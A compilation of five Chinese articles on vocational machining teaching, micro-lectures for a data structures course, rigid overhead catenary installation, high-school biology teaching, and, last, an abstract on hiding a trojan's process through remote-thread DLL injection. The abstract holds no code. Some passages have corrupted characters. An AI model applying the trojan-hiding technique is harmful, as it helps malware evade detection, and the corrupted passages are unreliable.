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篇1

一、本門課程教學(xué)現(xiàn)狀

這門課程雖然比較主要， 但是現(xiàn)今中職學(xué)生普遍存在的問題是基礎(chǔ)比較薄弱，缺乏必要的數(shù)學(xué)及物理相關(guān)知識， 甚至有的學(xué)生完全沒有基礎(chǔ)知識。 學(xué)習(xí)能力較差，缺乏必要的自學(xué)能力。 而這門課程文字類的知識較多，雖然有部分的圖示和例子，但是對于沒有任何機(jī)械類相關(guān)實(shí)踐知識的中職生來講，學(xué)習(xí)起來具有相當(dāng)?shù)碾y度。 對于這些學(xué)生要想在日后的本專業(yè)學(xué)習(xí)工作過程中取得一定的成績， 學(xué)好本門課程這樣的基礎(chǔ)知識又是非常有必要的。 所以,如何教好這門課程， 如何讓學(xué)生在學(xué)習(xí)過程中產(chǎn)生學(xué)習(xí)興趣， 就變成了一個(gè)亟待解決的問題。

二、 采用多媒體教學(xué)提升學(xué)生的感性認(rèn)識

興趣是是最好的老師， 培養(yǎng)學(xué)生的學(xué)習(xí)興趣是讓學(xué)生學(xué)好這類 比較枯燥的課程的關(guān)鍵。 隨著中職教學(xué)改革的深入，信息化教學(xué)這一概念越來越普及。 這種教學(xué)方式相對于傳統(tǒng)的教學(xué)模式在提高學(xué)生的學(xué)習(xí)興趣， 增加學(xué)生的感性認(rèn)識等方面有著很大的優(yōu)勢。 在信息化教學(xué)中大量的引入了教學(xué)課件 (PPT)、 電子互動白板等手段， 讓學(xué)生在抽象的課程中增加更多的對現(xiàn)實(shí)實(shí)踐的直觀認(rèn)識， 對激發(fā)學(xué)生的學(xué)習(xí)興趣有很大的幫助。比如，《機(jī)械加工技術(shù)》 課程中車床結(jié)構(gòu)部分，書中只有一個(gè)圖示，用簡單的線條勾勒出機(jī)床的形狀， 用引線標(biāo)出各部分的名稱， 之后用大段的文字解釋各個(gè)部件的具體功用。 學(xué)生學(xué)起來不僅很枯燥，而且對車床各部分的動作很難理解。 引入了課件之后， 可以用真實(shí)的圖片和具體的車床操作視頻來講解，這時(shí)學(xué)生的精力非常集中，而且連一些后進(jìn)生都表現(xiàn)出了較為強(qiáng)烈的學(xué)習(xí)興趣; 在講解各種金屬切削加工方法時(shí)，我引入了一段德國德瑪吉數(shù)控加工中心加工樣件的廣告片， 片中包含了多種的加工方法， 不僅讓學(xué)生了解了各種加工方法的實(shí)際加工過程， 還讓學(xué)生了解到了本行業(yè)尖端技術(shù)的發(fā)展?fàn)顩r， 進(jìn)一步激發(fā)了學(xué)生學(xué)習(xí)本專業(yè)課程興趣， 增強(qiáng)本專業(yè)工作的信心。

三、走進(jìn)車間是學(xué)習(xí)《機(jī)械加工技術(shù)》課程的必然和重要途徑

如前面所說，《機(jī)械加工技術(shù)》 這門課程是一門實(shí)踐性較強(qiáng)的課程，因此，改革傳統(tǒng)的教學(xué)模式，加強(qiáng)實(shí)踐教學(xué)，讓學(xué)生直觀地認(rèn)知學(xué)習(xí)內(nèi)容， 對于學(xué)生學(xué)習(xí)興趣的培養(yǎng)、實(shí)際動手能力的培養(yǎng)、以及記憶的加強(qiáng)都是十分重要何必要的。

比如在軸類零件的加工方法這一章節(jié)， 書本中的知識都是最基本的知識和方法，教師在課堂講授的過程中，教師講解得再詳細(xì)也無法讓學(xué)生真正學(xué)到如何加工一根軸。 因此，把學(xué)生帶進(jìn)車間，由教師結(jié)合實(shí)際零件的加工， 一步一步講解軸類零件的加工，不僅可以增加學(xué)生的感性認(rèn)識，還可以提前讓學(xué)生感受工廠的氛圍， 學(xué)會在車間中的一些安全注意事項(xiàng)， 學(xué)到很多書本上學(xué)不到的知識。

四、比較學(xué)習(xí)法在實(shí)踐教學(xué)中的應(yīng)用

前一段時(shí)間我參加了由大連理工大學(xué)組織的暑期培訓(xùn)。 培訓(xùn)期間，教育部職業(yè)技術(shù)教育中心研究所研究員姜大源教授的一門 《現(xiàn)代職業(yè)教育體系構(gòu)建基本問題與課程開發(fā)》課程讓我受益良多。 其中提到的工作過程系統(tǒng)化學(xué)習(xí)情境設(shè)計(jì)比較學(xué)習(xí)法對中職實(shí)踐教學(xué)有很大的意義和幫助。比較學(xué)習(xí)法的原則是： 比較必須三個(gè)以上、比較必須同一個(gè)范疇、比較中重復(fù)的是步驟而非內(nèi)容。 基于以上方法的思考，我將《機(jī)械加工技術(shù)》課程中軸類零件車削部分的知識總結(jié)如下：比較必須三個(gè)以上：簡單軸類零件的車削、帶有方溝槽的軸類零件的車削、帶有方溝槽和螺紋的軸類零件的車削、 帶有方溝槽、圓弧溝槽、螺紋的軸類零件的車削等。

篇2

關(guān)鍵詞：微課程；移動終端；自主學(xué)習(xí)；數(shù)據(jù)結(jié)構(gòu)；系統(tǒng)框架

中圖分類號：G642 文獻(xiàn)標(biāo)識碼：A

1 引言（Introduction）

隨著便攜式移動終端的發(fā)展，“碎片化”時(shí)間的利用率越來越高，人們進(jìn)入了“微時(shí)代”?！拔⒄n程”成了時(shí)代的產(chǎn)物。所謂“微課”是指按照新課程標(biāo)準(zhǔn)及教學(xué)實(shí)踐要求，以教學(xué)視頻為主要載體，反映教師在課堂教學(xué)過程中針對某個(gè)知識點(diǎn)或教學(xué)環(huán)節(jié)而開展教與學(xué)活動的各種教學(xué)資源的有機(jī)組合[1]?，F(xiàn)如今各高校大力推動微課程，組織各種微課程比賽，調(diào)動教師的積極性，“微課”對于教師來說已不是一個(gè)陌生的名詞。然而，目前的微課程只是針對一門課程當(dāng)中的一個(gè)組成部分，僅是單獨(dú)講解某個(gè)知識點(diǎn)，沒有形成一門完整的課，還沒有完全發(fā)揮微課程的優(yōu)勢，并沒有應(yīng)用于真正的教學(xué)當(dāng)中。

《數(shù)據(jù)結(jié)構(gòu)》課程是計(jì)算機(jī)課程體系中的專業(yè)基礎(chǔ)課程[2]，作為程序設(shè)計(jì)的基礎(chǔ)，數(shù)據(jù)結(jié)構(gòu)課程不僅成為高校碩士研究生入取的必考科目，還是各企業(yè)招聘員工入職筆試中青睞的學(xué)科。如何讓學(xué)生在課堂教學(xué)中對課程有更深刻的理解，并在復(fù)習(xí)考研和準(zhǔn)備找工作中進(jìn)行更好的自主學(xué)習(xí)，成為數(shù)據(jù)結(jié)構(gòu)課程教學(xué)的研究重點(diǎn)，本文在分析數(shù)據(jù)結(jié)構(gòu)教學(xué)現(xiàn)狀的基礎(chǔ)上通過對數(shù)據(jù)結(jié)構(gòu)知識點(diǎn)的分析，構(gòu)建合理的數(shù)據(jù)結(jié)構(gòu)微課程框架，并將其應(yīng)用于教學(xué)中，使得學(xué)生能更好的應(yīng)用“微課程”進(jìn)行學(xué)習(xí)。

2 數(shù)據(jù)結(jié)構(gòu)課程的現(xiàn)狀分析（Current situation

analysis of data structure）

數(shù)據(jù)結(jié)構(gòu)課程是一門比較抽象的課程，而且學(xué)生本身知識儲備不足[2]，所以僅靠課堂上的講解，不能使學(xué)生達(dá)到很好的消化吸收的效果。目前，很多高校也開發(fā)了網(wǎng)絡(luò)教學(xué)平臺，積極倡導(dǎo)教師和學(xué)生通過網(wǎng)絡(luò)平臺實(shí)現(xiàn)在線探討交流，通過對網(wǎng)絡(luò)教學(xué)平臺的建設(shè)，如將大綱日歷、教案、教學(xué)課件，教學(xué)視頻上傳到教學(xué)平臺，使學(xué)生增加課下自主學(xué)習(xí)的意識，同時(shí)，老師在上課的時(shí)候也會給學(xué)生提供一些教學(xué)視頻的網(wǎng)站，如清華教育在線等，然而，雖然教學(xué)平臺的建設(shè)很完整，教師提供的教學(xué)視頻也很不錯(cuò)，學(xué)生卻很少好好利用網(wǎng)絡(luò)教學(xué)平臺或教師提供的網(wǎng)絡(luò)視頻進(jìn)行自主學(xué)習(xí)。主要原因有三點(diǎn)：

（1）教師的課堂教學(xué)主要以集中講授為主，并沒有引導(dǎo)學(xué)生利用網(wǎng)絡(luò)教學(xué)平臺的資源進(jìn)行自主學(xué)習(xí)，學(xué)生把網(wǎng)絡(luò)教學(xué)平臺當(dāng)成了一個(gè)簡單的提交作業(yè)、下載課件的平臺。

（2）教學(xué)平臺的內(nèi)容過于繁多，視頻基本上為課堂講授的視頻，即使有學(xué)生想課下自主學(xué)習(xí)，在看到45分鐘甚至90分鐘的教學(xué)視頻也會打退堂鼓。

（3）教師提供的教學(xué)視頻，如清華教育在線雖是名校老師講解，但對于一般高校的學(xué)生來說講解內(nèi)容過深，沒有針對性，很多學(xué)生覺得聽不懂，打消了自主學(xué)習(xí)的積極性。

通過“微課程”的概念，專家學(xué)者認(rèn)為“微課程”就是針對一個(gè)具體的知識點(diǎn)在短時(shí)間內(nèi)（一般為10分鐘左右）做簡單明確的講解，這種講解不是泛泛的介紹，而是通過精心的設(shè)計(jì)，最終完成容量小，內(nèi)容精的視頻制作[3]?？梢哉f，“微課程”的出現(xiàn)為我們解決數(shù)據(jù)結(jié)構(gòu)自主學(xué)習(xí)難的狀況提供了很好的解決方案。如何做到容量小，內(nèi)容精成了“微課程”視頻制作的關(guān)鍵，也是本文的研究重點(diǎn)。

3 基于微課程的數(shù)據(jù)結(jié)構(gòu)模塊化設(shè)計(jì)與實(shí)現(xiàn)

（Modular design and implementation of data

structure based on micro-lecture）

本文依據(jù)清華大學(xué)出版社出版的嚴(yán)蔚編的數(shù)據(jù)結(jié)構(gòu)教材[4]進(jìn)行知識點(diǎn)的劃分，構(gòu)建知識點(diǎn)的模塊化，并將其應(yīng)用在教學(xué)中。

3.1 數(shù)據(jù)結(jié)構(gòu)相關(guān)知識點(diǎn)的分析與研究

數(shù)據(jù)結(jié)構(gòu)課程研究的是數(shù)據(jù)和數(shù)據(jù)之間的關(guān)系，其基本分為四大類：集合、線性結(jié)構(gòu)、樹形結(jié)構(gòu)和圖形結(jié)構(gòu)。在數(shù)據(jù)結(jié)構(gòu)課程中，主要講解的是后三種結(jié)構(gòu)的邏輯結(jié)構(gòu)、物理結(jié)構(gòu)，以及相關(guān)算法的實(shí)現(xiàn)。在課程的最后講解了利用已學(xué)過的數(shù)據(jù)結(jié)構(gòu)解決基本的查找和排序的問題。

上述這些知識點(diǎn)中都具有一定的順序性、關(guān)聯(lián)性，但又相互獨(dú)立。如果只是把課程講解的內(nèi)容分解成10分鐘之內(nèi)的小視頻，除了時(shí)間上看著短了以外，沒有改變課堂講解的實(shí)質(zhì)，沒有做到真正意義上的微課程。在多年教學(xué)經(jīng)驗(yàn)的指導(dǎo)下，本文要研究的是什么樣的知識點(diǎn)適合做成微課程，讓學(xué)生課下自主學(xué)習(xí)，課上共同討論，培養(yǎng)學(xué)生自主學(xué)習(xí)的能力，并且在考試復(fù)習(xí)時(shí)通過溫習(xí)微課程的視頻可以更快的掌握主要題型的解決方法，節(jié)約復(fù)習(xí)時(shí)間。

微課程知識點(diǎn)的設(shè)定原則為5―20分鐘可以被清晰地講解，且盡量不涉及程序性的內(nèi)容。棧和隊(duì)列可以說是操作受限的線性表，其抽象數(shù)據(jù)類型和現(xiàn)實(shí)生活中的很多例子都有相似性，可以將其作為微課程的一個(gè)知識點(diǎn)，讓學(xué)生自主學(xué)習(xí)。在樹形結(jié)構(gòu)中，如何在連續(xù)的存儲空間中把非線性的東西表示出來可以在短時(shí)間內(nèi)很經(jīng)典的講解出來，其鏈表的表示所以也非常適合做成微課程。二叉樹的結(jié)構(gòu)和樹非常像，對二叉樹的遍歷，以及樹和森林的轉(zhuǎn)化都是比較獨(dú)立的知識點(diǎn)，其方法不涉及難理解的程序，將這些放入微課程中。赫夫曼樹是二叉樹的重要應(yīng)用，其構(gòu)造方法可以放入微課程的知識點(diǎn)框架中。在圖形結(jié)構(gòu)中圖的鄰接矩陣表示法和鄰接表表示法都可以作為微課程的一部分，深度優(yōu)先遍歷和廣度優(yōu)先遍歷的算法雖然不易理解，但其求解方法的思想?yún)s可以通過微課程表達(dá)出來。最小生成樹，關(guān)鍵路徑，單源最短路徑都是圖里的應(yīng)用，僅把問題的解決方法放入微課程中是比較好的選擇。在查找中的折半查找和二叉排序樹的構(gòu)造都是獨(dú)立的知識點(diǎn)，可以很好的用于微課程的制作。在排序中，會選擇相對復(fù)雜一些的快速排序和堆排序，僅僅介紹排序的思想。微課程的知識點(diǎn)設(shè)定如圖1所示。

3.2 翻轉(zhuǎn)課堂輔助數(shù)據(jù)結(jié)構(gòu)微課程的實(shí)現(xiàn)

學(xué)生在剛接觸數(shù)據(jù)結(jié)構(gòu)時(shí)會覺得特別的抽象，其基本概念和相關(guān)的術(shù)語并不適合讓學(xué)生自主學(xué)習(xí)，線性表是學(xué)生接觸的第一種線性結(jié)構(gòu)，其邏輯結(jié)構(gòu)，順序存儲和鏈?zhǔn)酱鎯Γ约安迦雱h除等操作都非常的重要，但多數(shù)都是枯燥的程序，想讓學(xué)生在短時(shí)間內(nèi)掌握其精髓并不是一件容易的事，如果這個(gè)部分讓學(xué)生自主學(xué)習(xí)很可能會打消學(xué)生的積極性，所以前幾節(jié)課程并不適合做翻轉(zhuǎn)課程。在學(xué)生已經(jīng)對線性表有所掌握的情況下，可以將棧和隊(duì)列的邏輯結(jié)構(gòu)微課程要求學(xué)生自己學(xué)習(xí)，在課堂上進(jìn)行討論，在討論的基礎(chǔ)上講解實(shí)現(xiàn)通過自主學(xué)習(xí)了解的各種操作的程序。樹形結(jié)構(gòu)是學(xué)生接觸的第一種非線性結(jié)構(gòu)，所以其邏輯結(jié)構(gòu)需要在課堂上進(jìn)行講解，雖然樹形結(jié)構(gòu)的存儲結(jié)構(gòu)已經(jīng)安排在微課程中，但由于是學(xué)生第一次接觸，所以本微課程部分并不作為翻轉(zhuǎn)課堂的一部分，學(xué)生在復(fù)習(xí)時(shí)可以通過微課程進(jìn)行復(fù)習(xí)，以更好的掌握知識點(diǎn)。而二叉樹的相關(guān)微課程可以要求學(xué)生自行學(xué)習(xí)，在課堂上根據(jù)學(xué)生學(xué)習(xí)的結(jié)果共同研究算法的實(shí)現(xiàn)。圖形結(jié)構(gòu)和樹形結(jié)構(gòu)都屬于非線性結(jié)構(gòu)，所以二者具有很多相似的地方，可以由學(xué)生自主學(xué)習(xí)課堂討論，通過討論的情況分析學(xué)生的掌握情況，因?yàn)槲⒄n程的內(nèi)容簡單，重要的算法實(shí)現(xiàn)還需要在課堂上詳細(xì)講解。經(jīng)過前面的學(xué)習(xí)，插入和排序的內(nèi)容無論是應(yīng)用方面還是程序?qū)崿F(xiàn)方面都由學(xué)生自主完成，通過討論和測試考察學(xué)生的掌握情況。

經(jīng)過和微課程相結(jié)合的翻轉(zhuǎn)課程的設(shè)計(jì)，使學(xué)生習(xí)慣通過微課程進(jìn)行學(xué)習(xí)，掌握自主學(xué)習(xí)的能力。

4 結(jié)論（Conclusion）

微課程的系統(tǒng)框架對微課程的制作起到了指揮棒的作用，在總體框架下進(jìn)行各個(gè)微課程的制作，在制作過程中絕不僅僅是錄制簡單的視頻，雖然僅僅是10分鐘左右，但工作量絕不亞于一節(jié)課的準(zhǔn)備，不僅要對微課程設(shè)計(jì)方案，制作電子課件，還要精心準(zhǔn)備習(xí)題，并配合易理解的答案。只有一個(gè)完整系統(tǒng)的微課程，再加上與課堂的相輔相成，才能使得學(xué)生在課下自主學(xué)習(xí)時(shí)更有針對性，學(xué)生學(xué)的更明白，課上討論也會更豐富，形成良性循環(huán)，真正實(shí)現(xiàn)了教師學(xué)生共同授課，共同討論的多樣化教學(xué)體系。

參考文獻(xiàn)（References）

[1] 梁樂明，曹俏俏，張寶輝.微課程設(shè)計(jì)模式研究――基于國內(nèi)

外微課程的對比分析[J].開放教育研究，2013，19（1）：65-73.

[2] 董麗薇.“數(shù)據(jù)結(jié)構(gòu)”課程教學(xué)方法的改進(jìn)[J].沈陽師范大學(xué)

學(xué)報(bào)：自然科學(xué)版，2012，30（2）：307-309.

[3] 劉名卓，祝智庭.微課程的設(shè)計(jì)分析與模型構(gòu)建[J].中國電化

教育，2013，（12）：127-131.

[4] 嚴(yán)蔚敏，吳偉民.數(shù)據(jù)結(jié)構(gòu)（C語言版）[M].北京：清華大學(xué)出版

社，2012.

作者簡介：

董麗薇（1981-），女，博士生，講師.研究領(lǐng)域：供應(yīng)鏈管理.

篇3

關(guān)鍵詞：剛性架空接觸網(wǎng)“∏”型安裝

中圖分類號：C913.32 文獻(xiàn)標(biāo)識碼：A 文章編號：

一 前言

剛性架空接觸網(wǎng)于上世紀(jì)九十年代末在廣州地鐵二號線采用后，被廣泛應(yīng)用于廣州、上海、南京、深圳、沈陽、重慶、成都、西安等城市軌道交通地下線，成為國內(nèi)城市軌道交通架空接觸網(wǎng)的主要供電方式之一。

剛性架空接觸網(wǎng)有接觸軌式、匯流排式。匯流排型式有T型、∏型等。 “∏”型剛性架空接觸網(wǎng)是將接觸線夾裝在“∏”型匯流排上，依靠匯流排本身的剛性支撐固定接觸線在正確位置，該接觸網(wǎng)型式結(jié)構(gòu)簡單、占用空間小、流截面大，無張力、安全性高、運(yùn)營維護(hù)量小，弓網(wǎng)無彈性、設(shè)計(jì)及安裝精度要求高。

根據(jù)多年“∏”型剛性架空接觸網(wǎng)的工程經(jīng)驗(yàn)，針對工程中容易出現(xiàn)偏差和對接觸網(wǎng)運(yùn)行狀態(tài)生產(chǎn)影響的關(guān)鍵部位（如錨段關(guān)節(jié)、膨脹接頭、剛?cè)徇^渡、線岔、分段絕緣器等處），本文對這些關(guān)鍵部位安裝的技術(shù)要點(diǎn)進(jìn)行了探討，以期在錨段關(guān)節(jié)、膨脹接頭、剛?cè)徇^渡、線岔、分段絕緣器等關(guān)鍵點(diǎn)正確設(shè)計(jì)、安裝，使剛性架空接觸網(wǎng)運(yùn)行穩(wěn)定良好。

二 錨段關(guān)節(jié)、膨脹接頭

連續(xù)敷設(shè)的剛性架空接觸網(wǎng)為保證機(jī)械和電氣性能，需設(shè)置機(jī)械分段和電氣分段。機(jī)械分段根據(jù)運(yùn)行速度采用錨段關(guān)節(jié)或膨脹接頭，100km/h以下采用錨段關(guān)節(jié)，100km/h及以上采用貫通式膨脹接頭；電氣分段采用絕緣錨段關(guān)節(jié)方式。

1 錨段關(guān)節(jié)

在錨段關(guān)節(jié)處，兩支接觸線在關(guān)節(jié)中間懸掛點(diǎn)處等高，轉(zhuǎn)換懸掛點(diǎn)處非工作支不得低于工作支，非工作支宜高出1mm～3mm，使受電弓能以較高速度平滑通過錨段關(guān)節(jié)，如圖1。同時(shí)錨段關(guān)節(jié)避免布置在線路變坡點(diǎn)處和列車出站加速區(qū)段。

圖1錨段關(guān)節(jié)布置示意圖

該關(guān)節(jié)兩支間距為200mm，可以在滿足放線小車通過的情況下，縮小至160mm，以改善關(guān)節(jié)處弓網(wǎng)質(zhì)量，這時(shí)需要對目前采用的電連接型式進(jìn)行改進(jìn)，減小空間占用，以利于縮小關(guān)節(jié)間距。

也可采用在沿列車行進(jìn)方向，將關(guān)節(jié)兩支均置于受電弓一側(cè)（如圖2），效果要好于兩側(cè)布置，但反向行車速度將受到限制。

圖2錨段關(guān)節(jié)設(shè)置于受電弓中心同一側(cè)

2 膨脹接頭

膨脹接頭用于對錨段內(nèi)匯流排溫度變化所產(chǎn)生的縱向伸縮予以補(bǔ)償，且保持接觸網(wǎng)機(jī)械和電氣上的連續(xù)。國內(nèi)采用了如下兩種膨脹接頭型式，膨脹接頭的補(bǔ)償長度分別為500mm、1000mm。

圖3膨脹接頭（補(bǔ)償量左圖為500mm，右圖為1000mm）

膨脹接頭安裝在盡可能直的軌道上，縱向中軸線位于受電弓中心線上。膨脹接頭安裝時(shí)，應(yīng)將膨脹接頭布置在受電弓中心位置，兩端四處懸掛點(diǎn)呈直線布置且等高，使膨脹接頭不受外力彎曲，布置如圖4。

圖4 膨脹接頭布置示意圖

三 剛?cè)徇^渡

剛性及柔性架空接觸網(wǎng)間采用貫通式或關(guān)節(jié)式剛?cè)徇^渡。

貫通式剛?cè)徇^渡采用剛?cè)徇^渡元件，實(shí)現(xiàn)剛?cè)嵝越佑|網(wǎng)間彈性差的漸變。剛?cè)徇^渡應(yīng)安裝在線路的直線區(qū)段，避免剛?cè)徇^渡承受水平彎曲力。剛?cè)徇^渡元件安裝處，兩端的剛性和柔性懸掛點(diǎn)的接觸線應(yīng)等高，拉出值布置應(yīng)呈一條直線，保證剛?cè)徇^渡元件處接觸線平滑過渡。

關(guān)節(jié)式剛?cè)徇^渡在采用雙接觸線、弓網(wǎng)接觸靜態(tài)接觸壓力為120N的條件下，剛性架空接觸網(wǎng)的接觸線宜比相鄰柔性架空接觸網(wǎng)的接觸線抬高30mm～50mm，保證受電弓雙向平滑過渡。

四 線岔

在普速鐵路柔性架空接觸網(wǎng)中道岔支柱應(yīng)標(biāo)準(zhǔn)定位，以保證線岔的準(zhǔn)確設(shè)置，保持良好的運(yùn)行狀態(tài)。但在剛性架空接觸網(wǎng)中道岔布置無嚴(yán)格意義上的標(biāo)準(zhǔn)定位要求。

為使受電弓無論從哪個(gè)方向均能平滑通過線岔，特別是正線高速通過線岔時(shí)，側(cè)線不應(yīng)對受電弓高速通過產(chǎn)生干擾，線岔處接觸網(wǎng)采用圖5布置，正線、側(cè)線匯流排均靠攏布置（即布置靠近對方的一側(cè)），在正線雙向通過時(shí)，正線、側(cè)線接觸線均位于受電弓一側(cè)。

圖5 單開道岔處匯流排布置示意圖

道岔處，在受電弓同時(shí)接觸兩支接觸線范圍內(nèi)兩支接觸線應(yīng)等高，使受電弓平滑通過線岔區(qū)。

五 分段絕緣器

分段絕緣器用于將不同供電分區(qū)之間電氣斷開，滿足不同分區(qū)的停電檢修需要，并保證正常運(yùn)行時(shí)受電弓在分段絕緣器處平滑通過。

在分段絕緣器安裝調(diào)試時(shí)，分段絕緣器本體不僅要嚴(yán)格按廠家產(chǎn)品要求安裝，尚應(yīng)注意：分段絕緣器不宜安裝在曲線段，安裝段匯流排必須與軌面平行，且分段絕緣器兩端的匯流排處于同一直線上，使分段絕緣器不受外力扭擰，否則難以調(diào)平。應(yīng)將分段絕緣器安裝位置定測在直線段，分段絕緣器安裝前將分段絕緣器兩端四個(gè)懸掛點(diǎn)調(diào)至等高且與軌面平行，測定兩段匯流排應(yīng)處于同一直線上。如圖6。

圖6 分段絕緣器處匯流排安裝狀態(tài)

六 結(jié)束語

剛性架空接觸網(wǎng)要取得良好的運(yùn)行效果，必須要精確設(shè)計(jì)、精細(xì)施工，安裝精準(zhǔn)。筆者發(fā)現(xiàn)在工程設(shè)計(jì)和安裝中對上述關(guān)鍵部位技術(shù)狀態(tài)的理解和應(yīng)用存在一定的偏差，運(yùn)行中經(jīng)常會出現(xiàn)硬點(diǎn)、異常磨損等現(xiàn)象，通過分析和實(shí)踐，本文對這些部位的技術(shù)狀態(tài)進(jìn)行了闡述，以期在錨段關(guān)節(jié)、膨脹接頭、剛?cè)徇^渡、線岔、分段絕緣器等關(guān)鍵點(diǎn)正確設(shè)計(jì)、安裝，接觸網(wǎng)取得穩(wěn)定良好的運(yùn)行狀態(tài)。

參考文獻(xiàn)

[1] 吳積欽.受電弓與接觸網(wǎng)系統(tǒng)[M].成都:西南交通大學(xué)出版社,2010

[2] [德] Kiessling,Puschmann,Schmieder.電氣化鐵道接觸網(wǎng)[M].中鐵電氣化局集團(tuán)有限公司，譯.北京: 中國電力出版社,2003

[3] GB50157-2003 地鐵設(shè)計(jì)規(guī)范[S].北京:中國計(jì)劃出版社,2003

[4] 廣東興發(fā)鋁業(yè)有限公司.匯流排產(chǎn)品使用與維護(hù)手冊

[5] 法國加朗公司.剛性懸掛分段絕緣器安裝手冊

篇4

【關(guān)鍵詞】高中生物;新課程理念;創(chuàng)新精神與能力

近幾年來有關(guān)創(chuàng)新精神和創(chuàng)新能力培養(yǎng)的問題引起了全社會尤其是教育界的廣泛關(guān)注，并成為當(dāng)前基礎(chǔ)教育改革的一個(gè)熱點(diǎn)問題。課程標(biāo)準(zhǔn)指出，高中生物課程要讓學(xué)生初步學(xué)會生物科學(xué)探究的一般方法，具備較強(qiáng)的生物學(xué)基本操作技能、收集和處理信息的能力、觀察能力、實(shí)驗(yàn)?zāi)芰?、思維能力和解決實(shí)際問題的能力。在教學(xué)實(shí)踐中如何來體現(xiàn)新課程理念呢？我認(rèn)為可以從以下幾點(diǎn)著手。

1 以趣激疑，巧妙釋疑

我國歷代教育學(xué)家曾有過精辟的論述：“學(xué)起于思，思源于疑?！痹缭谀纤螘r(shí)期，陸九淵就指出“為學(xué)患無疑”。強(qiáng)烈的釋疑欲望是學(xué)生積極思考的內(nèi)在動力，由存疑到釋疑的過程，就是學(xué)生把新舊知識聯(lián)系起來進(jìn)行深入思考、探究、綜合推理，運(yùn)用已有的知識去獲得新知識的過程。這對增進(jìn)學(xué)生的智力、激發(fā)學(xué)生的潛能、培養(yǎng)學(xué)生的創(chuàng)造力所起的作用，不是教師的分析、講解所能代替的。

在講述高中必修模塊2第3章第1節(jié)“T2噬菌體侵染大腸桿菌的實(shí)驗(yàn)”的時(shí)候，就盡量地讓學(xué)生發(fā)現(xiàn)問題、提出問題。例如，僅蛋白質(zhì)分子中含有硫，磷幾乎都存在于DNA分子中，目的是為后面學(xué)生發(fā)現(xiàn)問題做好鋪墊。然后，讓學(xué)生認(rèn)真地去看這個(gè)實(shí)驗(yàn)，并組織學(xué)生進(jìn)行討論。學(xué)生提出了不少問題，例如，第一個(gè)實(shí)驗(yàn)離心后沉淀物的反射性為什么是很低，而不是沒有？等等。學(xué)生通過自學(xué)能發(fā)現(xiàn)這么多問題，是因?yàn)樗麄冞M(jìn)行了認(rèn)真觀察、思考、分析。接下來就是如何引導(dǎo)學(xué)生釋疑了。一個(gè)高明的教師不但教學(xué)生學(xué)會，更重要的是教學(xué)生會學(xué)。這乃所謂“涉淺水者見蝦，其頗深者見魚鱉，其尤深者觀蛟龍”。使釋疑的過程既不脫離教學(xué)的雙方實(shí)際，又考慮到學(xué)生的接受與理解能力，長期如此以趣激疑，巧妙釋疑，學(xué)生的探究思維一定會得到強(qiáng)化和提高。

2 讓學(xué)生大膽作出假設(shè)，培養(yǎng)創(chuàng)新精神

拓展中學(xué)生的創(chuàng)造力主要不是要求每個(gè)學(xué)生都去搞發(fā)明創(chuàng)造，而是要求學(xué)生進(jìn)行創(chuàng)造性學(xué)習(xí)，讓他們親身體會到科學(xué)家是如何困惑于問題、如何假設(shè)問題的“答案”、考慮從哪些途徑去解決問題，并以此漸漸地養(yǎng)成探究的態(tài)度、方法和思維品質(zhì)的。

高中必修模塊2第6章第2節(jié)“基因工程及其應(yīng)用”這節(jié)知識，為了讓學(xué)生透徹理解基因技術(shù)，我是這樣處理的：首先回顧上節(jié)課中的雜交育種、誘變育種以及一些傳統(tǒng)的育種方法，一般只能在同種生物中進(jìn)行，有沒有什么方法能夠?qū)崿F(xiàn)不同種生物之間的繁殖呢？有些學(xué)生能想出植物的嫁接。繼續(xù)引導(dǎo)學(xué)生：嫁接后的植物所得到的果實(shí)與接穗親本的性狀是完全一樣的，但如果我只想要某個(gè)物種的某個(gè)性狀，而不是全部的時(shí)候，又怎么辦呢？讓學(xué)生去討論，學(xué)生就會想出很多方法，比如基因雜交、基因剪接、基因轉(zhuǎn)移等等。他們想到這些，我的目的也就達(dá)到了，因?yàn)檫@意味著學(xué)生們已領(lǐng)悟到了科學(xué)家們當(dāng)時(shí)為什么要創(chuàng)造基因工程這個(gè)技術(shù)和他們想解決什么問題。我覺得這樣處理，不僅能使學(xué)生更好地掌握知識，還能培養(yǎng)學(xué)生大膽假設(shè)和進(jìn)行創(chuàng)新學(xué)習(xí)的科學(xué)精神。

3 恰當(dāng)?shù)念惐瓤蓭椭斫?/p>

高中生物中許多知識點(diǎn)都是很抽象的，很多生理過程無法用肉眼來觀察，學(xué)生無法形成具體的直觀的經(jīng)驗(yàn)，所以很多抽象的知識需要轉(zhuǎn)化成形象的或與學(xué)生的生活貼近的知識來講，這就可以用類比幫助學(xué)生理解知識。

例如在初中階段，學(xué)生對反射弧的學(xué)習(xí)只是蜻蜓點(diǎn)水，一帶而過，而在高中必修模塊1第1章第1節(jié)中為了說明“生命活動離不開細(xì)胞”這個(gè)知識點(diǎn)的時(shí)候，其中實(shí)例3是“縮手反射的結(jié)構(gòu)基礎(chǔ)”，很多學(xué)生對縮手反射的原理和過程本不太明白，如果我要他們進(jìn)一步去理解縮手反射與細(xì)胞的關(guān)系，等于讓他們死記硬背。這時(shí)可以進(jìn)行類比：進(jìn)行文字處理時(shí)，可能要將文件通過掃描儀掃進(jìn)電腦，然后通過電腦控制打印機(jī)，把文件打印出來。其中，掃描儀相當(dāng)于反射弧中的感受器；掃描儀與電腦相連的線相當(dāng)于傳入神經(jīng)元；電腦的CPU相當(dāng)于中間神經(jīng)元；電腦與打印機(jī)之間相連的線相當(dāng)于傳出神經(jīng)元；打印機(jī)相當(dāng)于效應(yīng)器。這樣一類比，學(xué)生對縮手反射的原理有了一種豁然開朗的感覺，然后再進(jìn)一步分析每個(gè)結(jié)構(gòu)都是由細(xì)胞構(gòu)成，都離不開細(xì)胞。這樣學(xué)生對知識的理解就容易得多了。

教師如何利用好生物課堂有效地培養(yǎng)學(xué)生的生物科學(xué)素養(yǎng)，培養(yǎng)具有創(chuàng)造力的新型人才，是我們生物教師面臨的挑戰(zhàn)。教學(xué)作為一門藝術(shù)，要不斷去完善它。

參考文獻(xiàn)

篇5

摘要進(jìn)程的隱藏一直是木馬程序設(shè)計(jì)者不斷探求的重要技術(shù)，本文采用遠(yuǎn)程線程技術(shù)，通過動態(tài)鏈接庫方法，較好地解決了這一問題，通過遠(yuǎn)程線程將木馬作為線程隱藏在其他進(jìn)程中，從而達(dá)到隱藏的目的。

關(guān)鍵字進(jìn)程線程木馬動態(tài)鏈接庫

